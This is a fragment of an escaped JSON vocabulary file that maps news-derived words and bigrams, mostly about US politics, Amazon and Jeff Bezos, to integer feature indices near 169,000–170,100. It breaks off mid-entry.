\"california midterms\": 169134,\n  \"unit sally\": 169135,\n  \"new laws\": 169136,\n  \"a4ee i1\": 169137,\n  \"acn cypress\": 169138,\n  \"weaving mystery\": 169139,\n  \"inequality provoke\": 169140,\n  \"dax\": 169141,\n  \"return request\": 169142,\n  \"systems tagay\": 169143,\n  \"wedge\": 169144,\n  \"swamp\": 169145,\n  \"domestic\": 169146,\n  \"becker concluded\": 169147,\n  \"million richer\": 169148,\n  \"formulating environmental\": 169149,\n  \"open offices\": 169150,\n  \"gore\": 169151,\n  \"dwight bullard\": 169152,\n  \"highest paying\": 169153,\n  \"statuses\": 169154,\n  \"tad\": 169155,\n  \"6gb ram\": 169156,\n  \"agencies right\": 169157,\n  \"provide solid\": 169158,\n  \"free euro\": 169159,\n  \"boundaries sanctuary\": 169160,\n  \"financial reform\": 169161,\n  \"mainstream democratic\": 169162,\n  \"crazed crying\": 169163,\n  \"lays blame\": 169164,\n  \"macro housing\": 169165,\n  \"selflessly served\": 169166,\n  \"nora ephron\": 169167,\n  \"kennaugh indianapolis\": 169168,\n  \"pentagon wrote\": 169169,\n  \"concerns ethics\": 169170,\n  \"reboot\": 169171,\n  \"rubenstein yes\": 169172,\n  \"cfpb\": 169173,\n  \"making deals\": 169174,\n  \"irrevocable\": 169175,\n  \"forecasting troubles\": 169176,\n  \"panky\": 169177,\n  \"harold geneen\": 169178,\n  \"fernholz\": 169179,\n  \"felton amazon\": 169180,\n  \"2008 crisis\": 169181,\n  \"activation services\": 169182,\n  \"rec barclay\": 169183,\n  \"technology commerce\": 169184,\n  \"ju remains\": 169185,\n  \"habits fund\": 169186,\n  \"netflix ceo\": 169187,\n  \"100 influential\": 169188,\n  \"winner good\": 169189,\n  \"brightcove\": 169190,\n  \"wrong look\": 169191,\n  \"results music\": 169192,\n  \"middleeast\": 169193,\n  \"pay huge\": 169194,\n  \"elections kavanaugh\": 169195,\n  \"constitutional drive\": 169196,\n  \"future bigger\": 169197,\n  \"year assembled\": 169198,\n  \"house bezos\": 169199,\n  \"000 consumers\": 169200,\n  \"big donors\": 169201,\n  \"lauren weisberger\": 169202,\n  \"unscripted series\": 169203,\n  \"democrat war\": 169204,\n  \"wake\": 169205,\n  \"trump couldn\": 169206,\n  \"century monarch\": 169207,\n  \"slim profit\": 169208,\n  \"wielding pair\": 169209,\n  \"business reputations\": 169210,\n  \"fully know\": 169211,\n  \"monthly plunge\": 169212,\n  \"including carter\": 169213,\n  \"kavanaugh circus\": 169214,\n  \"centene\": 169215,\n  \"year target\": 169216,\n  \"planned merger\": 169217,\n  \"pineapple corn\": 169218,\n  \"nahit na7it1\": 169219,\n  \"000 copies\": 169220,\n  \"kleiner\": 169221,\n  \"action recode\": 169222,\n  \"skids\": 169223,\n  \"2018 sheppard\": 169224,\n  \"don trust\": 169225,\n  \"ohio mysterious\": 169226,\n  \"upcoming raymond\": 169227,\n  \"chocolate cake\": 169228,\n  \"clinton fell\": 169229,\n  \"effort remains\": 169230,\n  \"miyares\": 169231,\n  \"god sheltered\": 169232,\n  \"mart\": 169233,\n  \"president sh\": 169234,\n  \"wapo amnesty\": 169235,\n  \"red room\": 169236,\n  \"promised wall\": 169237,\n  \"pocket blanket\": 169238,\n  \"unusual hurdle\": 169239,\n  \"shares 284\": 169240,\n  \"fear president\": 169241,\n  \"republicans hate\": 169242,\n  \"foreigners\": 169243,\n  \"didion\": 169244,\n  \"hamper development\": 169245,\n  \"mail contrary\": 169246,\n  \"4194 trade\": 169247,\n  \"protein\": 169248,\n  \"creates shared\": 169249,\n  \"notch\": 169250,\n  \"address addiction\": 169251,\n  \"internet users\": 169252,\n  \"2016 later\": 169253,\n  \"brooks\": 169254,\n  \"truthful\": 169255,\n  \"york choices\": 169256,\n  \"note apple\": 169257,\n  \"party time\": 169258,\n  \"setzer\": 169259,\n  \"told scott\": 169260,\n  \"housing disaster\": 169261,\n  \"today seeing\": 169262,\n  \"estimated 323\": 169263,\n  \"lana\": 169264,\n  \"picture imaging\": 169265,\n  \"passy\": 169266,\n  \"pox\": 169267,\n  \"jenny durkan\": 169268,\n  \"report urges\": 169269,\n  \"greer owns\": 169270,\n  \"nyse pg\": 169271,\n  \"quill\": 169272,\n  \"lower enforcers\": 169273,\n  \"david sims\": 169274,\n  \"inc_code_only_text null\": 169275,\n  \"redhat splunk\": 169276,\n  \"points communications\": 169277,\n  \"soaking northwestern\": 169278,\n  \"providing equal\": 169279,\n  \"increases divided\": 169280,\n  \"instant pot\": 169281,\n  \"tax expenditures\": 169282,\n  \"mossad playboy\": 169283,\n  \"meeks\": 169284,\n  \"streaming content\": 169285,\n  \"entire piece\": 169286,\n  \"alphabet political\": 169287,\n  \"recieve\": 169288,\n  \"steve cannon\": 169289,\n  \"consumer payment\": 169290,\n  \"judgment murdoch\": 169291,\n  \"tyranny\": 169292,\n  \"tackles tech\": 169293,\n  \"deal circumvented\": 169294,\n  \"respectful\": 169295,\n  \"legal designation\": 169296,\n  \"government hugenesses\": 169297,\n  \"expenditures allen\": 169298,\n  \"brass\": 169299,\n  \"customer email\": 169300,\n  \"builds profile\": 169301,\n  \"shaheen\": 169302,\n  \"grumman noc\": 169303,\n  \"institute washington\": 169304,\n  \"republicans president\": 169305,\n  \"launch offers\": 169306,\n  \"bombshells\": 169307,\n  \"rooms health\": 169308,\n  \"stay late\": 169309,\n  \"2010\": 169310,\n  \"outfront\": 169311,\n  \"dancing\": 169312,\n  \"aquino\": 169313,\n  \"groceries online\": 169314,\n  \"package does\": 169315,\n  \"amazon cloud\": 169316,\n  \"infuriates\": 169317,\n  \"financially hurting\": 169318,\n  \"mike lee\": 169319,\n  \"international shopping\": 169320,\n  \"original picture\": 169321,\n  \"1st affecting\": 169322,\n  \"beating heart\": 169323,\n  \"generation gap\": 169324,\n  \"expressed agreement\": 169325,\n  \"sahara\": 169326,\n  \"charge makes\": 169327,\n  \"missouri voted\": 169328,\n  \"highlights\": 169329,\n  \"hyper wealthy\": 169330,\n  \"goat cheese\": 169331,\n  \"canceled\": 169332,\n  \"reveal goofy\": 169333,\n  \"disney plus\": 169334,\n  \"protecting intellectual\": 169335,\n  \"diverse talent\": 169336,\n  \"pursue\": 169337,\n  \"commend\": 169338,\n  \"massive scale\": 169339,\n  \"worst affected\": 169340,\n  \"payment service\": 169341,\n  \"future urban\": 169342,\n  \"names formally\": 169343,\n  \"publicly assailed\": 169344,\n  \"attractive pleasing\": 169345,\n  \"muller abbie\": 169346,\n  \"tradition scouts\": 169347,\n  \"abe reaffirm\": 169348,\n  \"intelligence assistant\": 169349,\n  \"battering\": 169350,\n  \"iphones designed\": 169351,\n  \"giant companies\": 169352,\n  \"record divorce\": 169353,\n  \"penney jcp\": 169354,\n  \"stage day\": 169355,\n  \"gs\": 169356,\n  \"ju data\": 169357,\n  \"emily griffin\": 169358,\n  \"unfortunate events\": 169359,\n  \"consensus president\": 169360,\n  \"reported unfavorable\": 169361,\n  \"syndrome nitrous\": 169362,\n  \"ap eric\": 169363,\n  \"collect taxes\": 169364,\n  \"polarizing election\": 169365,\n  \"spokane\": 169366,\n  \"choosing\": 169367,\n  \"duty canadian\": 169368,\n  \"ryan huber\": 169369,\n  \"choice dropping\": 169370,\n  \"kremlin\": 169371,\n  \"pocket antennas\": 169372,\n  \"problem join\": 169373,\n  \"drapery\": 169374,\n  \"testing service\": 169375,\n  \"shopping swell\": 169376,\n  \"karl\": 169377,\n  \"lobosco employers\": 169378,\n  \"feat amazon\": 169379,\n  \"heavyweights amazon\": 169380,\n  \"amazon mail\": 169381,\n  \"hornsey amid\": 169382,\n  \"people putting\": 169383,\n  \"pomerantz senior\": 169384,\n  \"lamster depicts\": 169385,\n  \"building permanent\": 169386,\n  \"indo\": 169387,\n  \"landlord just\": 169388,\n  \"rubble\": 169389,\n  \"biometric data\": 169390,\n  \"heyes\": 169391,\n  \"quarter continental\": 169392,\n  \"money pouring\": 169393,\n  \"mistakes\": 169394,\n  \"lawmakers especially\": 169395,\n  \"face anti\": 169396,\n  \"steamy picture\": 169397,\n  \"youtube\": 169398,\n  \"goods peter\": 169399,\n  \"uw parkside\": 169400,\n  \"2nd attorney\": 169401,\n  \"mugshots\": 169402,\n  \"filing\": 169403,\n  \"hired team\": 169404,\n  \"115 693\": 169405,\n  \"intense customer\": 169406,\n  \"companies according\": 169407,\n  \"dress revealing\": 169408,\n  \"gop attack\": 169409,\n  \"prime version\": 169410,\n  \"dracula\": 169411,\n  \"legislators\": 169412,\n  \"2billion\": 169413,\n  \"service analyst\": 169414,\n  \"progressive ideas\": 169415,\n  \"remind trump\": 169416,\n  \"people feel\": 169417,\n  \"times money\": 169418,\n  \"worth earlier\": 169419,\n  \"staking\": 169420,\n  \"years places\": 169421,\n  \"sensex managed\": 169422,\n  \"thomas patterson\": 169423,\n  \"federally\": 169424,\n  \"merkel looks\": 169425,\n  \"government medicine\": 169426,\n  \"billionaire owner\": 169427,\n  \"295\": 169428,\n  \"salles points\": 169429,\n  \"elevates\": 169430,\n  \"initial claims\": 169431,\n  \"lawyers\": 169432,\n  \"billionaires selling\": 169433,\n  \"specific mrntf\": 169434,\n  \"circumspect\": 169435,\n  \"today savannah\": 169436,\n  \"alphabet automobilnews\": 169437,\n  \"recent court\": 169438,\n  \"china avoiding\": 169439,\n  \"drives\": 169440,\n  \"spotlight nonetheless\": 169441,\n  \"crew neck\": 169442,\n  \"montana viewpoint\": 169443,\n  \"including new\": 169444,\n  \"socks quickly\": 169445,\n  \"employees documentation\": 169446,\n  \"functions differently\": 169447,\n  \"womans\": 169448,\n  \"vestager europe\": 169449,\n  \"retail shipping\": 169450,\n  \"rival retailers\": 169451,\n  \"gop member\": 169452,\n  \"mulled\": 169453,\n  \"445 projects\": 169454,\n  \"risen welch\": 169455,\n  \"minister mentioned\": 169456,\n  \"disappearances\": 169457,\n  \"opposes unilateral\": 169458,\n  \"198 125\": 169459,\n  \"jobs\": 169460,\n  \"wonderful\": 169461,\n  \"security comfort\": 169462,\n  \"billion following\": 169463,\n  \"chris\": 169464,\n  \"employees group\": 169465,\n  \"5835\": 169466,\n  \"contact media\": 169467,\n  \"connections\": 169468,\n  \"child merchandise\": 169469,\n  \"lends authentic\": 169470,\n  \"obama adminstration\": 169471,\n  \"dershowitz told\": 169472,\n  \"second chicago\": 169473,\n  \"advertising artificial\": 169474,\n  \"previous obama\": 169475,\n  \"persuade daily\": 169476,\n  \"promoting hate\": 169477,\n  \"long fought\": 169478,\n  \"strategist michael\": 169479,\n  \"strategic location\": 169480,\n  \"spain trust\": 169481,\n  \"avoided shouted\": 169482,\n  \"big favorite\": 169483,\n  \"investigate\": 169484,\n  \"accommodate\": 169485,\n  \"lurid texts\": 169486,\n  \"fragile deal\": 169487,\n  \"cnn commentator\": 169488,\n  \"lilly combined\": 169489,\n  \"medical practices\": 169490,\n  \"egypt dirty\": 169491,\n  \"bling twitter\": 169492,\n  \"cameroon church\": 169493,\n  \"public images\": 169494,\n  \"blue stronghold\": 169495,\n  \"acidic ramsay\": 169496,\n  \"sparked political\": 169497,\n  \"sure\": 169498,\n  \"existent\": 169499,\n  \"shared infrastructure\": 169500,\n  \"rap songs\": 169501,\n  \"democratic socialists\": 169502,\n  \"bbc world\": 169503,\n  \"stocks want\": 169504,\n  \"cupboard sent\": 169505,\n  \"firms salesforce\": 169506,\n  \"pentagon defence\": 169507,\n  \"2018 fiscal\": 169508,\n  \"cuomo pledged\": 169509,\n  \"far harsher\": 169510,\n  \"agreement president\": 169511,\n  \"projected\": 169512,\n  \"weirdralph status\": 169513,\n  \"memorywell\": 169514,\n  \"lgbt community\": 169515,\n  \"holmes founder\": 169516,\n  \"index closed\": 169517,\n  \"allowed just\": 169518,\n  \"macfarlane\": 169519,\n  \"powell doesn\": 169520,\n  \"prominent official\": 169521,\n  \"program according\": 169522,\n  \"representatives continue\": 169523,\n  \"outlook 2018\": 169524,\n  \"facing multiple\": 169525,\n  \"mclellan\": 169526,\n  \"offer tax\": 169527,\n  \"secret merchandise\": 169528,\n  \"ohio plant\": 169529,\n  \"utf andrew\": 169530,\n  \"trade skirmish\": 169531,\n  \"regretted\": 169532,\n  \"flowed\": 169533,\n  \"revenue misses\": 169534,\n  \"bezos unveiled\": 169535,\n  \"valleys\": 169536,\n  \"provide required\": 169537,\n  \"immediately disclose\": 169538,\n  \"recent attention\": 169539,\n  \"amazing image\": 169540,\n  \"amazon selections\": 169541,\n  \"aug according\": 169542,\n  \"inappropriate conduct\": 169543,\n  \"best total\": 169544,\n  \"begin negotiating\": 169545,\n  \"total revenue\": 169546,\n  \"scarborough\": 169547,\n  \"w6\": 169548,\n  \"discovering read\": 169549,\n  \"bond ish\": 169550,\n  \"way time\": 169551,\n  \"private shipping\": 169552,\n  \"capitalist blog\": 169553,\n  \"disparaged\": 169554,\n  \"word bozo\": 169555,\n  \"claimed clinton\": 169556,\n  \"says work\": 169557,\n  \"enforcement task\": 169558,\n  \"catch jeff\": 169559,\n  \"lynette\": 169560,\n  \"khan explained\": 169561,\n  \"conspiracy media\": 169562,\n  \"abortion debate\": 169563,\n  \"dear girl\": 169564,\n  \"default based\": 169565,\n  \"branded shitting\": 169566,\n  \"mt\": 169567,\n  \"city planning\": 169568,\n  \"massachusetts hundreds\": 169569,\n  \"set\": 169570,\n  \"billinson jbillinson\": 169571,\n  \"lawmakers regulators\": 169572,\n  \"presidents brian\": 169573,\n  \"global a4ee\": 169574,\n  \"later cashes\": 169575,\n  \"starred tom\": 169576,\n  \"blown probe\": 169577,\n  \"echoing\": 169578,\n  \"nongovernmental\": 169579,\n  \"vmware nyse\": 169580,\n  \"discuss brexit\": 169581,\n  \"olivia carville\": 169582,\n  \"rewrote\": 169583,\n  \"begun\": 169584,\n  \"everyday low\": 169585,\n  \"numerous alleged\": 169586,\n  \"service price\": 169587,\n  \"abuse cover\": 169588,\n  \"country lower\": 169589,\n  \"soper embedded\": 169590,\n  \"tabloid told\": 169591,\n  \"credit yujin\": 169592,\n  \"nbc lose\": 169593,\n  \"marriage lasted\": 169594,\n  \"point warehouse\": 169595,\n  \"post jeff\": 169596,\n  \"creep kavanaugh\": 169597,\n  \"remove\": 169598,\n  \"walmart aggressive\": 169599,\n  \"trump siccing\": 169600,\n  \"seasons david\": 169601,\n  \"boss mistress\": 169602,\n  \"commissioners taking\": 169603,\n  \"deftly dodged\": 169604,\n  \"speak\": 169605,\n  \"bezos navarro\": 169606,\n  \"nielsen kids\": 169607,\n  \"experts suggest\": 169608,\n  \"showed support\": 169609,\n  \"right way\": 169610,\n  \"courts typically\": 169611,\n  \"orchestra\": 169612,\n  \"sympathetic\": 169613,\n  \"say block\": 169614,\n  \"lawyer saying\": 169615,\n  \"prospective clients\": 169616,\n  \"curios\": 169617,\n  \"uniform says\": 169618,\n  \"stockpile birth\": 169619,\n  \"act cra\": 169620,\n  \"disclosure agreements\": 169621,\n  \"halloween photos\": 169622,\n  \"portions\": 169623,\n  \"couple married\": 169624,\n  \"news shirt\": 169625,\n  \"products sell\": 169626,\n  \"trump budget\": 169627,\n  \"set loose\": 169628,\n  \"captives\": 169629,\n  \"subsidies licenses\": 169630,\n  \"health treatment\": 169631,\n  \"conde nast\": 169632,\n  \"forecast wall\": 169633,\n  \"2019 going\": 169634,\n  \"packaged goods\": 169635,\n  \"neon\": 169636,\n  \"mega cap\": 169637,\n  \"rally protesting\": 169638,\n  \"paying employees\": 169639,\n  \"interests targeted\": 169640,\n  \"party site\": 169641,\n  \"major expansion\": 169642,\n  \"cbs live\": 169643,\n  \"beneath\": 169644,\n  \"fathers\": 169645,\n  \"separate instances\": 169646,\n  \"cleaned\": 169647,\n  \"struggling public\": 169648,\n  \"year fourth\": 169649,\n  \"share value\": 169650,\n  \"house colleagues\": 169651,\n  \"support quality\": 169652,\n  \"post stone\": 169653,\n  \"related accomplishments\": 169654,\n  \"attacks using\": 169655,\n  \"feature discount\": 169656,\n  \"hurricanes football\": 169657,\n  \"character trying\": 169658,\n  \"parks transportation\": 169659,\n  \"ma charlie\": 169660,\n  \"subject matters\": 169661,\n  \"experience unacceptable\": 169662,\n  \"hasclass metadata\": 169663,\n  \"develop dozens\": 169664,\n  \"fog\": 169665,\n  \"bzwidgets\": 169666,\n  \"relevant bestseller\": 169667,\n  \"local municipalities\": 169668,\n  \"wayfair amazon\": 169669,\n  \"encana 8217\": 169670,\n  \"capitalist folk\": 169671,\n  \"kavanaugh inquiry\": 169672,\n  \"sessions waits\": 169673,\n  \"seminole\": 169674,\n  \"collaboration notes\": 169675,\n  \"aws exceeded\": 169676,\n  \"unprecedented act\": 169677,\n  \"trump declaring\": 169678,\n  \"sen ron\": 169679,\n  \"trio project\": 169680,\n  \"monet 130\": 169681,\n  \"society organizations\": 169682,\n  \"grows new\": 169683,\n  \"starts arena\": 169684,\n  \"amazing job\": 169685,\n  \"fantasy juggernaut\": 169686,\n  \"called uber\": 169687,\n  \"join politico\": 169688,\n  \"obama google\": 169689,\n  \"trump hometown\": 169690,\n  \"misleading figures\": 169691,\n  \"canned heat\": 169692,\n  \"day hard\": 169693,\n  \"story coming\": 169694,\n  \"created special\": 169695,\n  \"eve hemingway\": 169696,\n  \"compare apple\": 169697,\n  \"india booming\": 169698,\n  \"feeney thank\": 169699,\n  \"family horror\": 169700,\n  \"york based\": 169701,\n  \"mattered corporate\": 169702,\n  \"newsstand edition\": 169703,\n  \"haddad susan\": 169704,\n  \"dodging taxes\": 169705,\n  \"ukhashtags socialmedia\": 169706,\n  \"effectively produce\": 169707,\n  \"company calibre\": 169708,\n  \"outperform\": 169709,\n  \"dozen years\": 169710,\n  \"apr\": 169711,\n  \"tasks extremely\": 169712,\n  \"time volunteered\": 169713,\n  \"carlos ballesteros\": 169714,\n  \"company prime\": 169715,\n  \"fact pattern\": 169716,\n  \"charging ecommerce\": 169717,\n  \"attend various\": 169718,\n  \"level mean\": 169719,\n  \"wage governor\": 169720,\n  \"critic engaged\": 169721,\n  \"conspiracy hit\": 169722,\n  \"bad feel\": 169723,\n  \"girls haunted\": 169724,\n  \"bevy\": 169725,\n  \"newscms 2019_10\": 169726,\n  \"politicon nonpartisan\": 169727,\n  \"dead near\": 169728,\n  \"higher volatility\": 169729,\n  \"buying pinnacle\": 169730,\n  \"company ends\": 169731,\n  \"control witch\": 169732,\n  \"total referrals\": 169733,\n  \"trump attempted\": 169734,\n  \"women delivered\": 169735,\n  \"aleksej gubarev\": 169736,\n  \"2016 jeff\": 169737,\n  \"buyer complaint\": 169738,\n  \"recent meeting\": 169739,\n  \"wants\": 169740,\n  \"biggest challenges\": 169741,\n  \"make antitrust\": 169742,\n  \"gained huge\": 169743,\n  \"amzn moab\": 169744,\n  \"robert mccartney\": 169745,\n  \"possibilities agric\": 169746,\n  \"devices creates\": 169747,\n  \"hikes fivestar\": 169748,\n  \"compliance infrastructure\": 169749,\n  \"reignites\": 169750,\n  \"mehic timesunion\": 169751,\n  \"alphabet representatives\": 169752,\n  \"hold legal\": 169753,\n  \"arranged search\": 169754,\n  \"00m amazon\": 169755,\n  \"crime rate\": 169756,\n  \"moscow wouldn\": 169757,\n  \"city cemented\": 169758,\n  \"fixerwho\": 169759,\n  \"hit sales\": 169760,\n  \"investors weigh\": 169761,\n  \"critically acclaimed\": 169762,\n  \"widen sanders\": 169763,\n  \"kilometres\": 169764,\n  \"amazon launches\": 169765,\n  \"good year\": 169766,\n  \"freight service\": 169767,\n  \"convince trump\": 169768,\n  \"billionaire owners\": 169769,\n  \"smith black\": 169770,\n  \"nicknaming\": 169771,\n  \"protection began\": 169772,\n  \"woefully short\": 169773,\n  \"noise pence\": 169774,\n  \"voters head\": 169775,\n  \"488 immigrant\": 169776,\n  \"awkward trump\": 169777,\n  \"disgust\": 169778,\n  \"lin oliver\": 169779,\n  \"data reveals\": 169780,\n  \"run atop\": 169781,\n  \"trip narrative\": 169782,\n  \"fare increases\": 169783,\n  \"baby stores\": 169784,\n  \"best seltzer\": 169785,\n  \"market rout\": 169786,\n  \"hammered away\": 169787,\n  \"workers starting\": 169788,\n  \"kopsi added\": 169789,\n  \"puyallup\": 169790,\n  \"joined trump\": 169791,\n  \"bezos stood\": 169792,\n  \"infotainment systems\": 169793,\n  \"flufreeflorida\": 169794,\n  \"insatiable demand\": 169795,\n  \"stay small\": 169796,\n  \"boston headquarters\": 169797,\n  \"comfortable hiking\": 169798,\n  \"personage\": 169799,\n  \"immediately met\": 169800,\n  \"low liquidity\": 169801,\n  \"pierce bush\": 169802,\n  \"inducing hatred\": 169803,\n  \"concept developed\": 169804,\n  \"billion\": 169805,\n  \"unfortunate headline\": 169806,\n  \"traders reconsidered\": 169807,\n  \"socioambiental isa\": 169808,\n  \"taxpaying\": 169809,\n  \"rival game\": 169810,\n  \"secretarial\": 169811,\n  \"year 2019\": 169812,\n  \"securing high\": 169813,\n  \"talks travelers\": 169814,\n  \"eventually announced\": 169815,\n  \"nonworking\": 169816,\n  \"nike ching\": 169817,\n  \"reported 400\": 169818,\n  \"supports ads\": 169819,\n  \"protections offered\": 169820,\n  \"dangerous\": 169821,\n  \"fang\": 169822,\n  \"purified\": 169823,\n  \"antique clock\": 169824,\n  \"calling midterm\": 169825,\n  \"love jealousy\": 169826,\n  \"couples want\": 169827,\n  \"trump missed\": 169828,\n  \"additional strategic\": 169829,\n  \"act tcja\": 169830,\n  \"legal hit\": 169831,\n  \"price rates\": 169832,\n  \"rot\": 169833,\n  \"cutting timeline\": 169834,\n  \"findings earlier\": 169835,\n  \"consumers cited\": 169836,\n  \"upscale grocery\": 169837,\n  \"viking man\": 169838,\n  \"publicly testify\": 169839,\n  \"theory claims\": 169840,\n  \"missouri demanded\": 169841,\n  \"vsa voter\": 169842,\n  \"bezos noted\": 169843,\n  \"enquirer asked\": 169844,\n  \"crowded amazon\": 169845,\n  \"canceled deals\": 169846,\n  \"cincinnatis\": 169847,\n  \"pay toll\": 169848,\n  \"smith information\": 169849,\n  \"loser\": 169850,\n  \"embarrasses\": 169851,\n  \"corner gulftimes\": 169852,\n  \"attorney based\": 169853,\n  \"old simon\": 169854,\n  \"offers developers\": 169855,\n  \"facebook page\": 169856,\n  \"past cramer\": 169857,\n  \"certain voices\": 169858,\n  \"landmark sex\": 169859,\n  \"extraordinary displays\": 169860,\n  \"slimming\": 169861,\n  \"soliciting\": 169862,\n  \"company cbre\": 169863,\n  \"effect start\": 169864,\n  \"effect publish\": 169865,\n  \"acquiring guggenheim\": 169866,\n  \"group qanon\": 169867,\n  \"interact\": 169868,\n  \"washington exhibit\": 169869,\n  \"fully compensate\": 169870,\n  \"buzz60 washington\": 169871,\n  \"brazil association\": 169872,\n  \"smalls brooklyn\": 169873,\n  \"delivery based\": 169874,\n  \"division think\": 169875,\n  \"douglas\": 169876,\n  \"damaging stories\": 169877,\n  \"growing issues\": 169878,\n  \"illicit data\": 169879,\n  \"housing demand\": 169880,\n  \"repealing 173\": 169881,\n  \"avoid tariffs\": 169882,\n  \"underbrush\": 169883,\n  \"ex employee\": 169884,\n  \"today turbulent\": 169885,\n  \"ensure\": 169886,\n  \"continue unsettled\": 169887,\n  \"counts amazon\": 169888,\n  \"american psycho\": 169889,\n  \"cohen testified\": 169890,\n  \"including key\": 169891,\n  \"carell portrayed\": 169892,\n  \"pitchfork buy\": 169893,\n  \"imdb jordan\": 169894,\n  \"5ff1b69e 483f\": 169895,\n  \"explicit word\": 169896,\n  \"repeatedly delayed\": 169897,\n  \"growing disillusionment\": 169898,\n  \"schwan kroger\": 169899,\n  \"naples\": 169900,\n  \"nycedc capital\": 169901,\n  \"lure men\": 169902,\n  \"key positive\": 169903,\n  \"review contracts\": 169904,\n  \"acquire indirect\": 169905,\n  \"protestors\": 169906,\n  \"promote music\": 169907,\n  \"press big\": 169908,\n  \"salles\": 169909,\n  \"policy steve\": 169910,\n  \"egregious news\": 169911,\n  \"improving health\": 169912,\n  \"marked pick\": 169913,\n  \"time round\": 169914,\n  \"elle fanning\": 169915,\n  \"risk losing\": 169916,\n  \"production director\": 169917,\n  \"scheduled sponsored\": 169918,\n  \"driven competition\": 169919,\n  \"utm_content\": 169920,\n  \"intrigue exploding\": 169921,\n  \"audibly emotional\": 169922,\n  \"sixes\": 169923,\n  \"updates amazon\": 169924,\n  \"jess bezos\": 169925,\n  \"seminars\": 169926,\n  \"multiple controversies\": 169927,\n  \"million transportation\": 169928,\n  \"night football\": 169929,\n  \"aid trump\": 169930,\n  \"success follow\": 169931,\n  \"maker blue\": 169932,\n  \"business edge\": 169933,\n  \"centers reports\": 169934,\n  \"dismal\": 169935,\n  \"ny political\": 169936,\n  \"herera quickly\": 169937,\n  \"photo california\": 169938,\n  \"mil copies\": 169939,\n  \"rebound beijing\": 169940,\n  \"happy holidays\": 169941,\n  \"shipka mad\": 169942,\n  \"ajaypal banga\": 169943,\n  \"amazon potential\": 169944,\n  \"article written\": 169945,\n  \"amazon official\": 169946,\n  \"money cnl_filelocation\": 169947,\n  \"adrift\": 169948,\n  \"industry griffeth\": 169949,\n  \"grateful apos\": 169950,\n  \"seriously look\": 169951,\n  \"formed coalition\": 169952,\n  \"airlines best\": 169953,\n  \"credit rating\": 169954,\n  \"interview released\": 169955,\n  \"just showed\": 169956,\n  \"joaquin castro\": 169957,\n  \"solution specifically\": 169958,\n  \"bootleg release\": 169959,\n  \"sight\": 169960,\n  \"procurements\": 169961,\n  \"1331804068 lynxmpeeb4032\": 169962,\n  \"contractors new\": 169963,\n  \"voice uis\": 169964,\n  \"vermont democrat\": 169965,\n  \"2014 bezos\": 169966,\n  \"immigration stance\": 169967,\n  \"yeah\": 169968,\n  \"magazine published\": 169969,\n  \"concentrations\": 169970,\n  \"stock waiting\": 169971,\n  \"images trump\": 169972,\n  \"enters space\": 169973,\n  \"convenient package\": 169974,\n  \"prison rich\": 169975,\n  \"2018 askebay\": 169976,\n  \"excellent gossip\": 169977,\n  \"crazy egg\": 169978,\n  \"fair council\": 169979,\n  \"finance leaders\": 169980,\n  \"encompassing lingerie\": 169981,\n  \"standoff earlier\": 169982,\n  \"provided public\": 169983,\n  \"wire alphabet\": 169984,\n  \"employee pay\": 169985,\n  \"making history\": 169986,\n  \"radical\": 169987,\n  \"magazine cover\": 169988,\n  \"sanders frequently\": 169989,\n  \"katie pellico\": 169990,\n  \"retracted\": 169991,\n  \"year revenue\": 169992,\n  \"packages making\": 169993,\n  \"mark harris\": 169994,\n  \"godfather pizza\": 169995,\n  \"woman feuding\": 169996,\n  \"trump puts\": 169997,\n  \"street house\": 169998,\n  \"internal controls\": 169999,\n  \"lower start\": 170000,\n  \"responded relatively\": 170001,\n  \"analyse\": 170002,\n  \"abbe\": 170003,\n  \"ownership just\": 170004,\n  \"trump following\": 170005,\n  \"reportedly considering\": 170006,\n  \"credit 2283a\": 170007,\n  \"denny\": 170008,\n  \"reassigned\": 170009,\n  \"biggest source\": 170010,\n  \"cut makes\": 170011,\n  \"deasy wrote\": 170012,\n  \"nearly crossing\": 170013,\n  \"1970s\": 170014,\n  \"ami coverage\": 170015,\n  \"rival companies\": 170016,\n  \"freeloading billionaires\": 170017,\n  \"present melancholia\": 170018,\n  \"legitimate excuses\": 170019,\n  \"cheap delivery\": 170020,\n  \"gi\": 170021,\n  \"tears\": 170022,\n  \"anjani\": 170023,\n  \"2a\": 170024,\n  \"blunting\": 170025,\n  \"mayor fort\": 170026,\n  \"alt text\": 170027,\n  \"publicly fumed\": 170028,\n  \"bit complicated\": 170029,\n  \"separate billion\": 170030,\n  \"wieser bull\": 170031,\n  \"fungi food\": 170032,\n  \"geared phenomenally\": 170033,\n  \"tom shillue\": 170034,\n  \"newsman\": 170035,\n  \"agency investigating\": 170036,\n  \"sandwich erasing\": 170037,\n  \"member solomon\": 170038,\n  \"virginia based\": 170039,\n  \"sbux etf\": 170040,\n  \"helicopter flies\": 170041,\n  \"dramatically improved\": 170042,\n  \"contract represents\": 170043,\n  \"series breaking\": 170044,\n  \"earnest detective\": 170045,\n  \"unelected surveillance\": 170046,\n  \"hurricane irma\": 170047,\n  \"global humanitarian\": 170048,\n  \"uneven playing\": 170049,\n  \"similar landing\": 170050,\n  \"market control\": 170051,\n  \"francisco moya\": 170052,\n  \"inadequacies\": 170053,\n  \"trumka president\": 170054,\n  \"connection dear\": 170055,\n  \"nfl elite\": 170056,\n  \"gesine bullock\": 170057,\n  \"roth ira\": 170058,\n  \"treadmill normally\": 170059,\n  \"fischer helms\": 170060,\n  \"focus exclusively\": 170061,\n  \"phony objects\": 170062,\n  \"plunge\": 170063,\n  \"toxins vendors\": 170064,\n  \"leave canada\": 170065,\n  \"billion companies\": 170066,\n  \"destitute\": 170067,\n  \"won lawsuit\": 170068,\n  \"andhe expands\": 170069,\n  \"benedetto according\": 170070,\n  \"atwood amazon\": 170071,\n  \"moral obligation\": 170072,\n  \"harr\": 170073,\n  \"trump montana\": 170074,\n  \"boteach noted\": 170075,\n  \"venezuela bolivia\": 170076,\n  \"promising tech\": 170077,\n  \"2014 stocks\": 170078,\n  \"palace politics\": 170079,\n  \"south korea\": 170080,\n  \"mnuchin special\": 170081,\n  \"recent publication\": 170082,\n  \"country specific\": 170083,\n  \"img\": 170084,\n  \"coincidence national\": 170085,\n  \"mechagodzilla\": 170086,\n  \"amazon agreed\": 170087,\n  \"actual examples\": 170088,\n  \"israeli occupation\": 170089,\n  \"push voters\": 170090,\n  \"hallquist won\": 170091,\n  \"chops mixes\": 170092,\n  \"dossier supposedly\": 170093,\n  \"gov rick\": 170094,\n  \"images including\": 170095,\n  \"spreading weak\": 170096,\n  \"raisman\": 170097,\n  \"john gettys\": 170098,\n  \"local money\": 170099,\n  \"directing original\": 170100,\n  \"erdrich trevino\": 170101,\n  \"couldn look\": 170102,\n  \"unions sparked\": 170103,\n  \"campaign 